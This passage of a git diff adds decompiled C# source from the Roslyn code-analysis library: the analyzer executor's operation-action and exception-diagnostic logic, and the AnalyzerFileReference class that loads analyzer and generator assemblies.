spanForContainingOperationBlock, analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ExecuteOperationActions(operationsToAnalyze, operationActionsByKind, analyzer, declaredSymbol, model, addSemanticDiagnostic, boundFunction, filterSpan, isGeneratedCode, hasOperationBlockStartOrSymbolStartActions, cancellationToken); + addSemanticDiagnostic.Free(); + } + } + + private void ExecuteOperationActions(IEnumerable operationsToAnalyze, ImmutableSegmentedDictionary> operationActionsByKind, DiagnosticAnalyzer analyzer, ISymbol containingSymbol, SemanticModel model, AnalyzerDiagnosticReporter diagReporter, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, bool hasOperationBlockStartOrSymbolStartActions, CancellationToken cancellationToken) + { + foreach (IOperation item in operationsToAnalyze) + { + if (operationActionsByKind.TryGetValue(item.Kind, out ImmutableArray value) && ShouldExecuteOperation(item, analyzer, cancellationToken)) + { + if (!hasOperationBlockStartOrSymbolStartActions) + { + diagReporter.FilterSpanForLocalDiagnostics = item.Syntax.FullSpan; + } + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + OperationAnalyzerAction current2 = enumerator2.Current; + ExecuteOperationAction(current2, item, containingSymbol, model, diagReporter.AddDiagnosticAction, isSupportedDiagnostic, filterSpan, isGeneratedCode, cancellationToken); + } + } + } + } + + internal static bool CanHaveExecutableCodeBlock(ISymbol symbol) + { + switch (symbol.Kind) + { + case SymbolKind.Event: + case SymbolKind.Method: + case SymbolKind.NamedType: + case SymbolKind.Namespace: + case SymbolKind.Property: + return true; + case SymbolKind.Field: + return true; + default: + return false; + } + } + + internal void ExecuteAndCatchIfThrows(DiagnosticAnalyzer analyzer, Action analyze, TArg argument, AnalysisContextInfo? contextInfo, CancellationToken cancellationToken) + { + SharedStopwatch sharedStopwatch = default(SharedStopwatch); + if (_analyzerExecutionTimeMap != null) + { + sharedStopwatch = SharedStopwatch.StartNew(); + } + object obj = _getAnalyzerGate(analyzer); + if (obj != null) + { + lock (obj) + { + ExecuteAndCatchIfThrows_NoLock(analyzer, analyze, argument, contextInfo, cancellationToken); + } + } + else + { + ExecuteAndCatchIfThrows_NoLock(analyzer, analyze, argument, contextInfo, cancellationToken); + } + if (_analyzerExecutionTimeMap != null) + { + long ticks = sharedStopwatch.Elapsed.Ticks; + Interlocked.Add(ref _analyzerExecutionTimeMap.GetOrAdd(analyzer, (DiagnosticAnalyzer _) => new StrongBox(0L)).Value, ticks); + } + } + + private void ExecuteAndCatchIfThrows_NoLock(DiagnosticAnalyzer analyzer, Action analyze, TArg argument, AnalysisContextInfo? info, CancellationToken cancellationToken) + { + try + { + cancellationToken.ThrowIfCancellationRequested(); + analyze(argument); + } + catch (Exception exception) when (HandleAnalyzerException(exception, analyzer, info, OnAnalyzerException, _analyzerExceptionFilter, cancellationToken)) + { + } + } + + internal static bool HandleAnalyzerException(Exception exception, DiagnosticAnalyzer analyzer, AnalysisContextInfo? info, Action onAnalyzerException, Func? analyzerExceptionFilter, CancellationToken cancellationToken) + { + if (!ExceptionFilter(exception, analyzerExceptionFilter, cancellationToken)) + { + return false; + } + Diagnostic arg = CreateAnalyzerExceptionDiagnostic(analyzer, exception, info); + try + { + onAnalyzerException(exception, analyzer, arg, cancellationToken); + } + catch (Exception) + { + } + return true; + static bool ExceptionFilter(Exception ex2, Func? func, CancellationToken cancellationToken2) + { + OperationCanceledException obj = ex2 as OperationCanceledException; + if (obj != null && obj.CancellationToken == cancellationToken2) + { + return false; + } + return func?.Invoke(ex2) ?? true; + } + } + + internal static Diagnostic CreateAnalyzerExceptionDiagnostic(DiagnosticAnalyzer analyzer, Exception e, AnalysisContextInfo? info = null) + { + string text = analyzer.ToString(); + string compilerAnalyzerFailure = CodeAnalysisResources.CompilerAnalyzerFailure; + string compilerAnalyzerThrows = CodeAnalysisResources.CompilerAnalyzerThrows; + string text2 = string.Join(Environment.NewLine, new string[2] + { + CreateDiagnosticDescription(info, e), + CreateDisablingMessage(analyzer, text) + }).Trim(); + string[] array = new string[4] + { + text, + e.GetType().ToString(), + e.Message, + text2 + }; + DiagnosticDescriptor analyzerExceptionDiagnosticDescriptor = GetAnalyzerExceptionDiagnosticDescriptor("AD0001", compilerAnalyzerFailure, compilerAnalyzerThrows); + Location none = Location.None; + object[] messageArgs = array; + return Diagnostic.Create(analyzerExceptionDiagnosticDescriptor, none, messageArgs); + } + + private static string CreateDiagnosticDescription(AnalysisContextInfo? info, Exception e) + { + if (!info.HasValue) + { + return e.CreateDiagnosticDescription(); + } + return string.Join(Environment.NewLine, new string[2] + { + string.Format(CodeAnalysisResources.ExceptionContext, info?.GetContext()), + e.CreateDiagnosticDescription() + }); + } + + private static string CreateDisablingMessage(DiagnosticAnalyzer analyzer, string analyzerName) + { + ImmutableSortedSet immutableSortedSet = ImmutableSortedSet.Empty.WithComparer(StringComparer.OrdinalIgnoreCase); + try + { + ImmutableArray.Enumerator enumerator = analyzer.SupportedDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticDescriptor current = enumerator.Current; + if (current != null) + { + immutableSortedSet = immutableSortedSet.Add(current.Id); + } + } + } + catch (Exception ex) + { + return string.Format(CodeAnalysisResources.CompilerAnalyzerThrows, new object[4] + { + analyzerName, + ex.GetType().ToString(), + ex.Message, + ex.CreateDiagnosticDescription() + }); + } + if (immutableSortedSet.IsEmpty) + { + return ""; + } + return string.Format(CodeAnalysisResources.DisableAnalyzerDiagnosticsMessage, string.Join(", ", immutableSortedSet)); + } + + internal static Diagnostic CreateDriverExceptionDiagnostic(Exception e) + { + string analyzerDriverFailure = CodeAnalysisResources.AnalyzerDriverFailure; + string analyzerDriverThrows = CodeAnalysisResources.AnalyzerDriverThrows; + string[] array = new string[3] + { + e.GetType().ToString(), + e.Message, + e.CreateDiagnosticDescription() + }; + DiagnosticDescriptor analyzerExceptionDiagnosticDescriptor = GetAnalyzerExceptionDiagnosticDescriptor("AD0002", analyzerDriverFailure, analyzerDriverThrows); + Location none = Location.None; + object[] messageArgs = array; + return Diagnostic.Create(analyzerExceptionDiagnosticDescriptor, none, messageArgs); + } + + internal static DiagnosticDescriptor GetAnalyzerExceptionDiagnosticDescriptor(string? id = null, string? title = null, string? messageFormat = null) + { + if (id == null) + { + id = "AD0001"; + } + if (title == null) + { + title = CodeAnalysisResources.CompilerAnalyzerFailure; + } + if (messageFormat == null) + { + messageFormat = CodeAnalysisResources.CompilerAnalyzerThrows; + } + return new DiagnosticDescriptor(id, title, messageFormat, "Compiler", DiagnosticSeverity.Warning, true, null, null, "AnalyzerException"); + } + + internal static bool IsAnalyzerExceptionDiagnostic(Diagnostic diagnostic) + { + if (diagnostic.Id == "AD0001" || diagnostic.Id == "AD0002") + { + ImmutableArray.Enumerator enumerator = diagnostic.Descriptor.ImmutableCustomTags.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current == "AnalyzerException") + { + return true; + } + } + } + return false; + } + + internal static bool AreEquivalentAnalyzerExceptionDiagnostics(Diagnostic exceptionDiagnostic, Diagnostic other) + { + if (!IsAnalyzerExceptionDiagnostic(other)) + { + return false; + } + if (exceptionDiagnostic.Id == other.Id && exceptionDiagnostic.Severity == other.Severity) + { + return exceptionDiagnostic.GetMessage() == other.GetMessage(); + } + return false; + } + + private bool IsSupportedDiagnostic(DiagnosticAnalyzer analyzer, Diagnostic diagnostic, CancellationToken cancellationToken) + { + if (diagnostic is DiagnosticWithInfo) + { + return true; + } + return _analyzerManager.IsSupportedDiagnostic(analyzer, diagnostic, _isCompilerAnalyzer, this, cancellationToken); + } + + private Action GetAddDiagnostic(ISymbol contextSymbol, ImmutableArray cachedDeclaringReferences, DiagnosticAnalyzer analyzer, Func getTopMostNodeForAnalysis, CancellationToken cancellationToken) + { + return GetAddDiagnostic(contextSymbol, cachedDeclaringReferences, Compilation, analyzer, _addNonCategorizedDiagnostic, _addCategorizedLocalDiagnostic, _addCategorizedNonLocalDiagnostic, getTopMostNodeForAnalysis, _shouldSuppressGeneratedCodeDiagnostic, cancellationToken); + } + + private static Action GetAddDiagnostic(ISymbol contextSymbol, ImmutableArray cachedDeclaringReferences, Compilation compilation, DiagnosticAnalyzer analyzer, Action? addNonCategorizedDiagnostic, Action? addCategorizedLocalDiagnostic, Action? addCategorizedNonLocalDiagnostic, Func getTopMostNodeForAnalysis, Func shouldSuppressGeneratedCodeDiagnostic, CancellationToken cancellationToken) + { + return delegate(Diagnostic diagnostic) + { + if (!shouldSuppressGeneratedCodeDiagnostic(diagnostic, analyzer, compilation, cancellationToken)) + { + if (addCategorizedLocalDiagnostic == null) + { + addNonCategorizedDiagnostic(diagnostic, cancellationToken); + } + else + { + if (diagnostic.Location.IsInSource) + { + ImmutableArray.Enumerator enumerator = cachedDeclaringReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + if (current.SyntaxTree == diagnostic.Location.SourceTree) + { + SyntaxNode syntaxNode = getTopMostNodeForAnalysis(contextSymbol, current, compilation, cancellationToken); + if (diagnostic.Location.SourceSpan.IntersectsWith(syntaxNode.FullSpan)) + { + addCategorizedLocalDiagnostic(diagnostic, analyzer, arg3: false, cancellationToken); + return; + } + } + } + } + addCategorizedNonLocalDiagnostic(diagnostic, analyzer, cancellationToken); + } + } + }; + } + + private Action GetAddCompilationDiagnostic(DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + return delegate(Diagnostic diagnostic) + { + if (!_shouldSuppressGeneratedCodeDiagnostic(diagnostic, analyzer, Compilation, cancellationToken)) + { + if (_addCategorizedNonLocalDiagnostic == null) + { + _addNonCategorizedDiagnostic(diagnostic, cancellationToken); + } + else + { + _addCategorizedNonLocalDiagnostic(diagnostic, analyzer, cancellationToken); + } + } + }; + } + + private AnalyzerDiagnosticReporter GetAddSemanticDiagnostic(SyntaxTree tree, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + return AnalyzerDiagnosticReporter.GetInstance(new SourceOrAdditionalFile(tree), null, Compilation, analyzer, isSyntaxDiagnostic: false, _addNonCategorizedDiagnostic, _addCategorizedLocalDiagnostic, _addCategorizedNonLocalDiagnostic, _shouldSuppressGeneratedCodeDiagnostic, cancellationToken); + } + + private AnalyzerDiagnosticReporter GetAddSemanticDiagnostic(SyntaxTree tree, TextSpan? span, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + return AnalyzerDiagnosticReporter.GetInstance(new SourceOrAdditionalFile(tree), span, Compilation, analyzer, isSyntaxDiagnostic: false, _addNonCategorizedDiagnostic, _addCategorizedLocalDiagnostic, _addCategorizedNonLocalDiagnostic, _shouldSuppressGeneratedCodeDiagnostic, cancellationToken); + } + + private AnalyzerDiagnosticReporter GetAddSyntaxDiagnostic(SourceOrAdditionalFile file, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + return AnalyzerDiagnosticReporter.GetInstance(file, null, Compilation, analyzer, isSyntaxDiagnostic: true, _addNonCategorizedDiagnostic, _addCategorizedLocalDiagnostic, _addCategorizedNonLocalDiagnostic, _shouldSuppressGeneratedCodeDiagnostic, cancellationToken); + } + + private bool ShouldExecuteNode(SyntaxNode node, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + if (_shouldSkipAnalysisOnGeneratedCode(analyzer) && _isGeneratedCodeLocation(node.SyntaxTree, node.Span, cancellationToken)) + { + return false; + } + return true; + } + + private bool ShouldExecuteOperation(IOperation operation, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + if (operation.Syntax != null && _shouldSkipAnalysisOnGeneratedCode(analyzer) && _isGeneratedCodeLocation(operation.Syntax.SyntaxTree, operation.Syntax.Span, cancellationToken)) + { + return false; + } + return true; + } + + internal TimeSpan ResetAnalyzerExecutionTime(DiagnosticAnalyzer analyzer) + { + if (!_analyzerExecutionTimeMap.TryRemove(analyzer, out StrongBox value)) + { + return TimeSpan.Zero; + } + return TimeSpan.FromTicks(value.Value); + } + + private ControlFlowGraph GetControlFlowGraphImpl(IOperation operation) + { + if (_lazyControlFlowGraphMap == null) + { + Interlocked.CompareExchange(ref _lazyControlFlowGraphMap, new ConcurrentDictionary(), null); + } + return _lazyControlFlowGraphMap.GetOrAdd(operation, (IOperation op) => ControlFlowGraphBuilder.Create(op, null, null, null, default(ControlFlowGraphBuilder.Context))); + } + + private bool IsAnalyzerSuppressedForSymbol(DiagnosticAnalyzer analyzer, ISymbol symbol, CancellationToken cancellationToken) + { + ImmutableArray.Enumerator enumerator = symbol.Locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + Location current = enumerator.Current; + if (current.SourceTree != null && !IsAnalyzerSuppressedForTree(analyzer, current.SourceTree, cancellationToken)) + { + return false; + } + } + return true; + } + + public void OnOperationBlockActionsExecuted(ImmutableArray operationBlocks) + { + ConcurrentDictionary? lazyControlFlowGraphMap = _lazyControlFlowGraphMap; + if (lazyControlFlowGraphMap != null && lazyControlFlowGraphMap.Count > 0) + { + ImmutableArray.Enumerator enumerator = operationBlocks.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation rootOperation = enumerator.Current.GetRootOperation(); + _lazyControlFlowGraphMap.TryRemove(rootOperation, out ControlFlowGraph _); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerFileReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerFileReference.cs new file mode 100644 index 0000000..56f7a8b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerFileReference.cs @@ -0,0 +1,539 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.PortableExecutable; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public sealed class AnalyzerFileReference : AnalyzerReference, IEquatable +{ + private delegate IEnumerable AttributeLanguagesFunc(PEModule module, CustomAttributeHandle attribute); + + private sealed class Extensions where TExtension : class + { + private class ExtTypeComparer : IEqualityComparer + { + public static readonly ExtTypeComparer Instance = new ExtTypeComparer(); + + public bool Equals(TExtension? x, TExtension? y) + { + return object.Equals(x?.GetType(), y?.GetType()); + } + + public int GetHashCode(TExtension obj) + { + return obj.GetType().GetHashCode(); + } + } + + private readonly AnalyzerFileReference _reference; + + private readonly Type _attributeType; + + private readonly AttributeLanguagesFunc _languagesFunc; + + private readonly bool _allowNetFramework; + + private readonly Func? _coerceFunction; + + private ImmutableArray _lazyAllExtensions; + + private ImmutableDictionary> _lazyExtensionsPerLanguage; + + private ImmutableSortedDictionary>? _lazyExtensionTypeNameMap; + + internal Extensions(AnalyzerFileReference reference, Type attributeType, AttributeLanguagesFunc languagesFunc, bool allowNetFramework, Func? coerceFunction = null) + { + _reference = reference; + _attributeType = attributeType; + _languagesFunc = languagesFunc; + _allowNetFramework = allowNetFramework; + _coerceFunction = coerceFunction; + _lazyAllExtensions = default(ImmutableArray); + _lazyExtensionsPerLanguage = ImmutableDictionary>.Empty; + } + + internal ImmutableArray GetExtensionsForAllLanguages(bool includeDuplicates) + { + if (_lazyAllExtensions.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyAllExtensions, CreateExtensionsForAllLanguages(this, includeDuplicates)); + } + return _lazyAllExtensions; + } + + private static ImmutableArray CreateExtensionsForAllLanguages(Extensions extensions, bool includeDuplicates) + { + ImmutableSortedDictionary>.Builder builder = ImmutableSortedDictionary.CreateBuilder>(StringComparer.OrdinalIgnoreCase); + extensions.AddExtensions(builder); + ImmutableArray.Builder builder2 = ImmutableArray.CreateBuilder(); + foreach (ImmutableArray value in builder.Values) + { + ImmutableArray.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TExtension current = enumerator2.Current; + builder2.Add(current); + } + } + if (includeDuplicates) + { + return builder2.ToImmutable(); + } + return builder2.Distinct(ExtTypeComparer.Instance).ToImmutableArray(); + } + + internal ImmutableArray GetExtensions(string language) + { + if (string.IsNullOrEmpty(language)) + { + throw new ArgumentException("language"); + } + return ImmutableInterlocked.GetOrAdd(ref _lazyExtensionsPerLanguage, language, CreateLanguageSpecificExtensions, this); + } + + private static ImmutableArray CreateLanguageSpecificExtensions(string language, Extensions extensions) + { + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + extensions.AddExtensions(builder, language); + return builder.ToImmutable(); + } + + internal ImmutableSortedDictionary> GetExtensionTypeNameMap() + { + if (_lazyExtensionTypeNameMap == null) + { + ImmutableSortedDictionary> analyzerTypeNameMap = GetAnalyzerTypeNameMap(_reference.FullPath, _attributeType, _languagesFunc); + Interlocked.CompareExchange(ref _lazyExtensionTypeNameMap, analyzerTypeNameMap, null); + } + return _lazyExtensionTypeNameMap; + } + + internal void AddExtensions(ImmutableSortedDictionary>.Builder builder) + { + ImmutableSortedDictionary> extensionTypeNameMap; + Assembly assembly; + try + { + extensionTypeNameMap = GetExtensionTypeNameMap(); + if (extensionTypeNameMap.Count == 0) + { + return; + } + assembly = _reference.GetAssembly(); + if (CheckAssemblyReferencesNewerCompiler(assembly)) + { + return; + } + } + catch (Exception e) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, CreateAnalyzerFailedArgs(e)); + return; + } + int count = builder.Count; + bool reportedError = false; + foreach (var (text2, _) in extensionTypeNameMap) + { + if (text2 != null) + { + ImmutableArray languageSpecificAnalyzers = GetLanguageSpecificAnalyzers(assembly, extensionTypeNameMap, text2, ref reportedError); + builder.Add(text2, languageSpecificAnalyzers); + } + } + if (builder.Count == count && !reportedError) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, new AnalyzerLoadFailureEventArgs(AnalyzerLoadFailureEventArgs.FailureErrorCode.NoAnalyzers, CodeAnalysisResources.NoAnalyzersFound)); + } + } + + internal void AddExtensions(ImmutableArray.Builder builder, string language, Func? shouldInclude = null) + { + ImmutableSortedDictionary> extensionTypeNameMap; + Assembly assembly; + try + { + extensionTypeNameMap = GetExtensionTypeNameMap(); + if (!extensionTypeNameMap.ContainsKey(language)) + { + return; + } + assembly = _reference.GetAssembly(); + if (assembly == null || CheckAssemblyReferencesNewerCompiler(assembly)) + { + return; + } + } + catch (Exception e) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, CreateAnalyzerFailedArgs(e)); + return; + } + bool reportedError = false; + ImmutableArray immutableArray = GetLanguageSpecificAnalyzers(assembly, extensionTypeNameMap, language, ref reportedError); + bool num = !immutableArray.IsEmpty; + if (shouldInclude != null) + { + immutableArray = immutableArray.WhereAsArray(shouldInclude); + } + builder.AddRange(immutableArray); + if (!num && !reportedError) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, new AnalyzerLoadFailureEventArgs(AnalyzerLoadFailureEventArgs.FailureErrorCode.NoAnalyzers, CodeAnalysisResources.NoAnalyzersFound)); + } + } + + private bool CheckAssemblyReferencesNewerCompiler(Assembly analyzerAssembly) + { + AssemblyName name = typeof(AnalyzerFileReference).Assembly.GetName(); + AssemblyName[] referencedAssemblies = analyzerAssembly.GetReferencedAssemblies(); + foreach (AssemblyName assemblyName in referencedAssemblies) + { + if (string.Equals(assemblyName.Name, name.Name, StringComparison.OrdinalIgnoreCase) && assemblyName.Version > name.Version) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, new AnalyzerLoadFailureEventArgs(AnalyzerLoadFailureEventArgs.FailureErrorCode.ReferencesNewerCompiler, "") + { + ReferencedCompilerVersion = assemblyName.Version + }); + return true; + } + } + return false; + } + + private ImmutableArray GetLanguageSpecificAnalyzers(Assembly analyzerAssembly, ImmutableSortedDictionary> analyzerTypeNameMap, string language, ref bool reportedError) + { + if (!analyzerTypeNameMap.TryGetValue(language, out ImmutableHashSet value)) + { + return ImmutableArray.Empty; + } + return GetAnalyzersForTypeNames(analyzerAssembly, value, ref reportedError); + } + + private ImmutableArray GetAnalyzersForTypeNames(Assembly analyzerAssembly, ImmutableHashSet analyzerTypeNames, ref bool reportedError) + { + ArrayBuilder<(string, TExtension)> instance = ArrayBuilder<(string, TExtension)>.GetInstance(); + foreach (string item in shuffle(analyzerTypeNames)) + { + Type type; + try + { + type = analyzerAssembly.GetType(item, throwOnError: true, ignoreCase: false); + } + catch (Exception e) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, CreateAnalyzerFailedArgs(e, item)); + reportedError = true; + continue; + } + if (!_allowNetFramework) + { + TargetFrameworkAttribute customAttribute = analyzerAssembly.GetCustomAttribute(); + if (customAttribute != null && customAttribute.FrameworkName.StartsWith(".NETFramework", StringComparison.OrdinalIgnoreCase)) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, new AnalyzerLoadFailureEventArgs(AnalyzerLoadFailureEventArgs.FailureErrorCode.ReferencesFramework, string.Format(CodeAnalysisResources.AssemblyReferencesNetFramework, item), null, item)); + continue; + } + } + object obj; + try + { + obj = Activator.CreateInstance(type); + } + catch (Exception e2) + { + _reference.AnalyzerLoadFailed?.Invoke(_reference, CreateAnalyzerFailedArgs(e2, item)); + reportedError = true; + continue; + } + object obj2 = obj as TExtension; + if (obj2 == null) + { + Func? coerceFunction = _coerceFunction; + obj2 = ((coerceFunction != null) ? coerceFunction(obj) : null); + } + TExtension val = (TExtension)obj2; + if (val != null) + { + instance.Add((item, val)); + } + } + instance.Sort(((string typeName, TExtension analyzer) x, (string typeName, TExtension analyzer) y) => string.Compare(x.typeName, y.typeName, StringComparison.OrdinalIgnoreCase)); + ImmutableArray result = instance.SelectAsArray<(string, TExtension), TExtension>(((string typeName, TExtension analyzer) x) => x.analyzer); + instance.Free(); + return result; + static IEnumerable shuffle(ImmutableHashSet source) + { + Random random = new Random(); + ArrayBuilder builder = ArrayBuilder.GetInstance(source.Count); + builder.AddRange(source); + for (int i = builder.Count - 1; i >= 0; i--) + { + int swapIndex = random.Next(i + 1); + yield return builder[swapIndex]; + builder[swapIndex] = builder[i]; + } + builder.Free(); + } + } + } + + private readonly IAnalyzerAssemblyLoader _assemblyLoader; + + private readonly Extensions _diagnosticAnalyzers; + + private readonly Extensions _generators; + + private string? _lazyDisplay; + + private object? _lazyIdentity; + + private Assembly? _lazyAssembly; + + public override string FullPath { get; } + + public IAnalyzerAssemblyLoader AssemblyLoader => _assemblyLoader; + + public override string Display + { + get + { + if (_lazyDisplay == null) + { + InitializeDisplayAndId(); + } + return _lazyDisplay; + } + } + + public override object Id + { + get + { + if (_lazyIdentity == null) + { + InitializeDisplayAndId(); + } + return _lazyIdentity; + } + } + + public event EventHandler? AnalyzerLoadFailed; + + public AnalyzerFileReference(string fullPath, IAnalyzerAssemblyLoader assemblyLoader) + { + CompilerPathUtilities.RequireAbsolutePath(fullPath, "fullPath"); + FullPath = fullPath; + _assemblyLoader = assemblyLoader ?? throw new ArgumentNullException("assemblyLoader"); + _diagnosticAnalyzers = new Extensions(this, typeof(DiagnosticAnalyzerAttribute), GetDiagnosticsAnalyzerSupportedLanguages, allowNetFramework: true); + _generators = new Extensions(this, typeof(GeneratorAttribute), GetGeneratorSupportedLanguages, allowNetFramework: false, CoerceGeneratorType); + assemblyLoader.AddDependencyLocation(fullPath); + } + + public override bool Equals(object? obj) + { + return Equals(obj as AnalyzerFileReference); + } + + public bool Equals(AnalyzerFileReference? other) + { + if (this == other) + { + return true; + } + if (other != null && _assemblyLoader == other._assemblyLoader) + { + return FullPath == other.FullPath; + } + return false; + } + + public bool Equals(AnalyzerReference? other) + { + if (this == other) + { + return true; + } + if (other == null) + { + return false; + } + if (other is AnalyzerFileReference other2) + { + return Equals(other2); + } + return FullPath == other.FullPath; + } + + public override int GetHashCode() + { + return Hash.Combine(RuntimeHelpers.GetHashCode(_assemblyLoader), FullPath.GetHashCode()); + } + + public override ImmutableArray GetAnalyzersForAllLanguages() + { + return _diagnosticAnalyzers.GetExtensionsForAllLanguages(includeDuplicates: true); + } + + public override ImmutableArray GetAnalyzers(string language) + { + return _diagnosticAnalyzers.GetExtensions(language); + } + + public override ImmutableArray GetGeneratorsForAllLanguages() + { + return _generators.GetExtensionsForAllLanguages(includeDuplicates: false); + } + + [Obsolete("Use GetGenerators(string language) or GetGeneratorsForAllLanguages()")] + public override ImmutableArray GetGenerators() + { + return _generators.GetExtensions("C#"); + } + + public override ImmutableArray GetGenerators(string language) + { + return _generators.GetExtensions(language); + } + + [MemberNotNull(new string[] { "_lazyIdentity", "_lazyDisplay" })] + private void InitializeDisplayAndId() + { + try + { + using PEReader peReader = new PEReader(FileUtilities.OpenRead(FullPath)); + AssemblyIdentity assemblyIdentity = peReader.GetMetadataReader().ReadAssemblyIdentityOrThrow(); + _lazyDisplay = assemblyIdentity.Name; + _lazyIdentity = assemblyIdentity; + } + catch + { + _lazyDisplay = FileNameUtilities.GetFileName(FullPath, includeExtension: false); + _lazyIdentity = _lazyDisplay; + } + } + + internal void AddAnalyzers(ImmutableArray.Builder builder, string language, Func? shouldInclude = null) + { + _diagnosticAnalyzers.AddExtensions(builder, language, shouldInclude); + } + + internal void AddGenerators(ImmutableArray.Builder builder, string language) + { + _generators.AddExtensions(builder, language); + } + + private static AnalyzerLoadFailureEventArgs CreateAnalyzerFailedArgs(Exception e, string? typeName = null) + { + string message = e.Message.Replace("\r", "").Replace("\n", ""); + return new AnalyzerLoadFailureEventArgs((typeName == null) ? AnalyzerLoadFailureEventArgs.FailureErrorCode.UnableToLoadAnalyzer : AnalyzerLoadFailureEventArgs.FailureErrorCode.UnableToCreateAnalyzer, message, e, typeName); + } + + internal ImmutableSortedDictionary> GetAnalyzerTypeNameMap() + { + return _diagnosticAnalyzers.GetExtensionTypeNameMap(); + } + + private static ImmutableSortedDictionary> GetAnalyzerTypeNameMap(string fullPath, Type attributeType, AttributeLanguagesFunc languagesFunc) + { + using AssemblyMetadata assemblyMetadata = AssemblyMetadata.CreateFromFile(fullPath); + return (from module in assemblyMetadata.GetModules() + from typeDefHandle in module.MetadataReader.TypeDefinitions + let typeDef = module.MetadataReader.GetTypeDefinition(typeDefHandle) + let supportedLanguages = GetSupportedLanguages(typeDef, module.Module, attributeType, languagesFunc) + where supportedLanguages.Any() + let typeName = GetFullyQualifiedTypeName(typeDef, module.Module) + from supportedLanguage in supportedLanguages + group typeName by supportedLanguage).ToImmutableSortedDictionary, string, ImmutableHashSet>((IGrouping g) => g.Key, (IGrouping g) => g.ToImmutableHashSet(), StringComparer.OrdinalIgnoreCase); + } + + private static IEnumerable GetSupportedLanguages(TypeDefinition typeDef, PEModule peModule, Type attributeType, AttributeLanguagesFunc languagesFunc) + { + IEnumerable enumerable = null; + foreach (CustomAttributeHandle customAttribute in typeDef.GetCustomAttributes()) + { + if (peModule.IsTargetAttribute(customAttribute, attributeType.Namespace, attributeType.Name, out var _)) + { + IEnumerable enumerable2 = languagesFunc(peModule, customAttribute); + if (enumerable2 != null) + { + enumerable = ((enumerable != null) ? enumerable.Concat(enumerable2) : enumerable2); + } + } + } + return enumerable ?? SpecializedCollections.EmptyEnumerable(); + } + + private static IEnumerable GetDiagnosticsAnalyzerSupportedLanguages(PEModule peModule, CustomAttributeHandle customAttrHandle) + { + BlobReader argsReader = peModule.GetMemoryReaderOrThrow(peModule.GetCustomAttributeValueOrThrow(customAttrHandle)); + return ReadLanguagesFromAttribute(ref argsReader); + } + + private static IEnumerable GetGeneratorSupportedLanguages(PEModule peModule, CustomAttributeHandle customAttrHandle) + { + BlobReader argsReader = peModule.GetMemoryReaderOrThrow(peModule.GetCustomAttributeValueOrThrow(customAttrHandle)); + if (argsReader.Length == 4) + { + return ImmutableArray.Create("C#"); + } + return ReadLanguagesFromAttribute(ref argsReader); + } + + private static IEnumerable ReadLanguagesFromAttribute(ref BlobReader argsReader) + { + if (argsReader.Length > 4 && argsReader.ReadByte() == 1 && argsReader.ReadByte() == 0) + { + if (!PEModule.CrackStringInAttributeValue(out string value, ref argsReader)) + { + return SpecializedCollections.EmptyEnumerable(); + } + if (PEModule.CrackStringArrayInAttributeValue(out ImmutableArray value2, ref argsReader)) + { + if (value2.Length == 0) + { + return SpecializedCollections.SingletonEnumerable(value); + } + return value2.Insert(0, value); + } + } + return SpecializedCollections.EmptyEnumerable(); + } + + private static ISourceGenerator? CoerceGeneratorType(object? generator) + { + if (generator is IIncrementalGenerator generator2) + { + return new IncrementalGeneratorWrapper(generator2); + } + return null; + } + + private static string GetFullyQualifiedTypeName(TypeDefinition typeDef, PEModule peModule) + { + TypeDefinitionHandle declaringType = typeDef.GetDeclaringType(); + if (declaringType.IsNil) + { + return peModule.GetFullNameOrThrow(typeDef.Namespace, typeDef.Name); + } + return GetFullyQualifiedTypeName(peModule.MetadataReader.GetTypeDefinition(declaringType), peModule) + "+" + peModule.MetadataReader.GetString(typeDef.Name); + } + + public Assembly GetAssembly() + { + if (_lazyAssembly == null) + { + _lazyAssembly = _assemblyLoader.LoadFromPath(FullPath); + } + return _lazyAssembly; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerImageReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/AnalyzerImageReference.cs new file mode 100644 index 0000000..0adc02e --- /dev/null +++ 